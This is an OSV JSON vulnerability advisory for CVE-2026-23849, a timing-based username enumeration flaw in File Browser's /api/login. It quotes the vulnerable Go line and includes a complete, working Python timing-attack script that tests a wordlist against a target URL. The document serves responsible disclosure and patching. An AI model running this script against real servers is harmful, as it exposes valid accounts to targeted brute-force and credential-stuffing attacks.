CVE-2026-23849: Github.com/filebrowser/filebrowser File Browser Vulnerable To Username Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-43mm-m3h2-3prc",
  "modified" : "2026-01-21T01:02:17Z",
  "published" : "2026-01-21T01:02:17Z",
  "aliases" : [ "CVE-2026-23849" ],
  "summary" : "File Browser Vulnerable to Username Enumeration via Timing Attack in /api/login",
  "details" : "### Summary\nThe JSONAuth.Auth function contains a logic flaw that allows unauthenticated attackers to enumerate valid usernames by measuring the response time of the /api/login endpoint.\n\n### Details\nThe vulnerability exists due to a \"short-circuit\" evaluation in the authentication logic. When a username is not found in the database, the function returns immediately. However, if the username does exist, the code proceeds to verify the password using bcrypt (users.CheckPwd), which is a computationally expensive operation designed to be slow.\n\nThis difference in execution path creates a measurable timing discrepancy:\n\nInvalid User: ~1ms execution (Database lookup only).\nValid User: ~50ms+ execution (Database lookup + Bcrypt hashing).\n\nIn auth/json.go:\n```go\n// auth/json.go line 54\nu, err := usr.Get(srv.Root, cred.Username)\n// VULNERABILITY:\n// If 'err != nil' (User not found), the OR condition short-circuits.\n// The second part (!users.CheckPwd) is NEVER executed.\n//\n// If 'err == nil' (User found), the code MUST execute users.CheckPwd (Bcrypt).\nif err != nil || !users.CheckPwd(cred.Password, u.Password) {\n    return nil, os.ErrPermission\n}\n```\n### PoC\nThe following Python script automates the attack. It first calibrates the network latency using random (non-existent) users to establish a baseline/threshold, and then tests a list of target usernames. Valid users are detected when the response time exceeds the calculated threshold.\n\n```python\nimport requests\nimport time\nimport random\nimport string\nimport statistics\nimport argparse\n\nCALIBRATION_SAMPLES = 20\nENDPOINT = \"/api/login\"\n\ndef generate_random_user(length=10):\n    return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length))\n\ndef measure_response_time(url, username):\n    start = time.perf_counter()\n    try:\n        requests.post(url, json={\"username\": username, \"password\": \"dummy_pass_123!\"})\n    except Exception as e:\n        print(f\"[!] Connection error: {e}\")\n        return 0\n    return time.perf_counter() - start\n\ndef calibrate(url):\n    print(f\"\\n[*] Calibrating with {CALIBRATION_SAMPLES} random users...\")\n    times = []\n    \n    print(\"    Progress: \", end=\"\", flush=True)\n    for _ in range(CALIBRATION_SAMPLES):\n        random_user = generate_random_user()\n        elapsed = measure_response_time(url, random_user)\n        times.append(elapsed)\n        print(\".\", end=\"\", flush=True)\n    print(\" OK\")\n    \n    mean = statistics.mean(times)\n    try:\n        stdev = statistics.stdev(times)\n    except:\n        stdev = 0.0\n    \n    threshold = mean + (5 * stdev) + 0.005\n    \n    print(f\"    - Mean time (invalid users): {mean:.4f}s\")\n    print(f\"    - Standard deviation: {stdev:.6f}s\")\n    print(f\"    - Threshold set: {threshold:.4f}s\")\n    \n    return threshold\n\ndef load_wordlist(wordlist_path):\n    try:\n        with open(wordlist_path, 'r', encoding='utf-8') as f:\n            users = [line.strip() for line in f if line.strip()]\n        return users\n    except FileNotFoundError:\n        print(f\"[!] Wordlist not found: {wordlist_path}\")\n        exit(1)\n    except Exception as e:\n        print(f\"[!] Error reading wordlist: {e}\")\n        exit(1)\n\ndef timing_attack(url, threshold, users):\n    print(f\"\\n[*] Testing {len(users)} users from wordlist...\")\n    print(\"-\" * 50)\n    print(f\"{'Username':<15} | {'Time':<10} | {'Status'}\")\n    print(\"-\" * 50)\n    \n    found = []\n    \n    for user in users:\n        elapsed = measure_response_time(url, user)\n        \n        if elapsed > threshold:\n            status = \">> VALID <<\"\n            found.append(user)\n        else:\n            status = \"invalid\"\n            \n        print(f\"{user:<15} | {elapsed:.4f}s | {status}\")\n        \n    return found\n\ndef main():\n    parser = argparse.ArgumentParser(description='FileBrowser timing attack exploit')\n    parser.add_argument('-u', '--url', required=True, help='Target URL (e.g., http://localhost:8080)')\n    parser.add_argument('-w', '--wordlist', required=True, help='Path to wordlist file')\n    args = parser.parse_args()\n    \n    target_url = args.url.rstrip('/') + ENDPOINT\n    \n    print(\"=== FILEBROWSER TIMING ATTACK ===\\n\")\n    print(f\"[*] Target: {target_url}\")\n    print(f\"[*] Wordlist: {args.wordlist}\")\n    \n    try:\n        threshold = calibrate(target_url)\n        users = load_wordlist(args.wordlist)\n        print(f\"\\n[*] Loaded {len(users)} users from wordlist\")\n        print(\"[*] Starting attack...\")\n        \n        valid_users = timing_attack(target_url, threshold, users)\n        \n        print(\"\\n\" + \"=\"*50)\n        print(f\"SUMMARY: {len(valid_users)} valid users found\")\n        if valid_users:\n            for u in valid_users:\n                print(f\"  -> {u}\")\n        print(\"=\"*50)\n        \n    except KeyboardInterrupt:\n        print(\"\\n[!] Attack cancelled\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\nFor example, in this case, I have guchihacker as the only valid user in the application.\n<img width=\"842\" height=\"310\" alt=\"image\" src=\"https://github.com/user-attachments/assets/b3caf11e-279c-4532-aa96-fd20cda153a3\" />\n\nI am going to use the exploit to list valid users.\n<img width=\"628\" height=\"716\" alt=\"image\" src=\"https://github.com/user-attachments/assets/f9d93e8e-e773-42a5-8a06-bc6bcc2a71fa\" />\nAs we can see, the user guchihacker has been confirmed as a valid user by comparing the server response time.\n\n### Impact\nAn unauthenticated remote attacker can enumerate valid usernames. This significantly weakens the security posture by facilitating targeted brute-force attacks or credential stuffing against specific, known-valid accounts (e.g., 'admin', 'root', employee names).\n\n\nI remain at your disposal for any questions you may have on this matter. Thank you very much.\n\nSincerely, [Felix Sanchez (GUCHI)](https://guchihacker.github.io/)",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/filebrowser/filebrowser"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.11.0"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/filebrowser/filebrowser/v2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.55.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/security/advisories/GHSA-43mm-m3h2-3prc"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23849"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/filebrowser/filebrowser/commit/24781badd413ee20333aba5cce1919d676e01889"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/filebrowser/filebrowser"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-203", "CWE-208" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-21T01:02:17Z",
    "nvd_published_at" : "2026-01-19T21:15:51Z"
  }
}